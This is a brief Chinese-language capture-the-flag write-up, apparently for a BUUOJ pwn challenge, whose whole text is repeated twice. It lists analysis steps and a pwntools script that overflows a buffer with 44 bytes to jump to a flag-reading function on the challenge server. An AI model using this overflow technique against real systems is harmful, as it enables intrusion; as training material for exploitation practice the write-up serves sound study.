1,三连
2,IDA分析
溢出点:
发现读flag函数:
获取偏移:
偏移44
3,payload
from pwn import *
context.log_level="debug"
r = remote("node4.buuoj.cn",27403)
win_addr=0x080485CB
payload = 44*'a'+p32(win_addr)
r.sendlineafter(':',payload)
r.interactive()
完
1,三连
2,IDA分析
溢出点:
发现读flag函数:
获取偏移:
偏移44
3,payload
from pwn import *
context.log_level="debug"
r = remote("node4.buuoj.cn",27403)
win_addr=0x080485CB
payload = 44*'a'+p32(win_addr)
r.sendlineafter(':',payload)
r.interactive()
完